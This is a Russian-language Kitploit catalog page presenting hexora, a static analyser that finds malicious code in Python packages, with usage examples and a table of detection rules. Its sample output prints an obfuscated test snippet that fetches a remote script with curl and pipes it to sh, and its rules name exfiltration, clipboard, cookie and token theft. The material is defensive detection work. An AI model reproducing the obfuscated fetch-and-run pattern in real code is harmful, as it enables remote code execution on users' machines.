Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/rushter/hexora
Управление индикаторами компрометации (IOC)Статический анализАнализ уязвимостейАнализ КодаАнализ вредоносных программБезопасность Цепочки ПоставокМашинное Обучение
GitHubrushter/hexora

hexora

Статический анализ вредоносного кода Python

Репозиторий
168813 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

hexora

PyPI - Version

Hexora — это инструмент статического анализа, предназначенный для обнаружения вредоносных и опасных шаблонов в коде Python. Он сочетает в себе механизм статического анализа на основе правил с моделью машинного обучения, которая оценивает целые исходные файлы для классификации их как вредоносные или безопасные.

Его можно использовать для:

  • Аудита зависимостей проекта для выявления возможных атак на цепочку поставок
  • Обнаружения вредоносных скриптов, найденных на таких платформах, как Pastebin, GitHub или открытые каталоги
  • Анализа файлов IoC из прошлых инцидентов безопасности
  • Аудита новых пакетов, загруженных на PyPi.
Пример Hexora

Примеры

Примеры вывода смотрите в файле docs/examples.md.

Установка

С помощью Python

Требуется Python 3.9+.

root@kitploit:~
pip install hexora

С помощью uv:

root@kitploit:~
uv tool install hexora

Использование

root@kitploit:~
hexora --help

Аудит одного файла

root@kitploit:~
>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Аудит каталога

root@kitploit:~
hexora audit --output-format terminal resources/test/

Аудит пакетов из виртуального окружения

root@kitploit:~
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Где python3.11 — версия Python в виртуальном окружении.

Советы:

  • Используйте --exclude, чтобы подавить определённые коды правил (например, шумные импорты) для данного запуска
  • Используйте --min-confidence, чтобы сосредоточиться только на результатах с высокой степенью уверенности.

Уверенность указывает на то, насколько определённый фрагмент кода вредоносен. Некоторые библиотеки или фрагменты кода используются в законных целях, и трудно отличить легитимные сценарии от вредоносных. Вот почему некоторые совпадения имеют низкий уровень уверенности.

Некоторые правила могут иметь разные уровни уверенности. Избегайте фильтрации большого количества правил по кодам, если вы не очень уверены. Например, выполнение кода и команд оболочки может иметь средний, высокий и очень высокий уровень уверенности. Это зависит от того, как был выполнен код. Если мы обнаруживаем попытку обфускации, мы повышаем уверенность.

Например, этот код будет иметь высокую уверенность:

root@kitploit:~
globals()["__builtins__"].eval("print(123)")

Использование в Python

root@kitploit:~
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Тестирование на вредоносных наборах данных

При разработке новых правил вы можете использовать существующие наборы вредоносного ПО, такие как malicious-software-packages-dataset.

После клонирования укажите инструменту бенчмаркинга путь к каталогу набора данных:

root@kitploit:~
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Доступные правила

Новые правила добавляются регулярно.

На данный момент доступны следующие правила:

Благодарности

Для разбора мы используем AST-парсер из библиотеки ruff.

Скачать инструмент
CodeNameDescription
HX1000AppEnumerationПодозрительное перечисление приложений.
HX1010BrowserEnumerationПодозрительное перечисление браузеров (приложения, cookie, история и т.д.).
HX1020PathEnumerationПодозрительное перечисление путей.
HX1030OSFingerprintПодозрительное определение ОС.
HX2000ClipboardReadЧтение из буфера обмена.
HX2010EnvAccessДоступ к чувствительной переменной окружения.
HX2020ScreenshotCaptureСнятие скриншотов с экрана.
HX3000CodeExecВозможное выполнение кода.
HX3010ShellExecВыполнение команды оболочки.
HX3040DLLInjectionВозможная инъекция DLL.
HX3050DangerousExecВыполнение потенциально опасной команды внутри команды оболочки.
HX3060SuspiciousCallПодозрительный вызов функции.
HX4000ObfuscatedShellExecВыполнение возможно обфусцированной команды оболочки.
HX4010ObfuscatedCodeExecВыполнение возможно обфусцированного кода.
HX5000DunderImportПодозрительное использование __import__.
HX5010SuspiciousImportПодозрительный импорт.
HX5020CtypesImportПодозрительный импорт ctypes.
HX5030PickleImportПодозрительный импорт pickle.
HX5040StructImportПодозрительный импорт struct.
HX5050SocketImportПодозрительный импорт socket.
HX5060MarshalImportПодозрительный импорт marshal.
HX6000Base64StringОбнаружена длинная Base64-закодированная строка; возможная обфускация кода.
HX6010HexedLiteralsОбнаружен список шестнадцатерично закодированных литералов; возможная полезная нагрузка.
HX6020HexedStringОбнаружена длинная шестнадцатерично закодированная строка; возможная полезная нагрузка.
HX6030IntLiteralsОбнаружен большой список целочисленных литералов; возможная обфускация кода.
HX6040CVEInLiteralЛитерал содержит идентификатор CVE.
HX6050SuspiciousLiteralОбнаружен подозрительный литерал; возможное перечисление данных.
HX6060PathTraversalПодозрительный обход пути.
HX6070BrowserExtensionПеречисление чувствительных расширений браузера.
HX6080WebHookОбнаружен подозрительный вебхук. Возможная утечка данных.
HX6090TelegramTokenОбнаружен токен Telegram-бота в строковом литерале.
HX7000SuspiciousFunctionNameПодозрительное имя функции.
HX7010SuspiciousParameterNameПодозрительное имя параметра.
HX7020SuspiciousVariableПодозрительное имя переменной.
HX9000DataExfiltrationПотенциальная утечка данных.
HX8000BinaryDownloadПодозрительная загрузка бинарного файла.
HX8010BuiltinsVariableПодозрительное использование встроенной переменной.
HX8020SuspiciousCommentПодозрительный комментарий.
HX8030SuspiciousWriteПодозрительная запись в файловую систему.
HX8040InstallHookПодозрительная установка хука установки.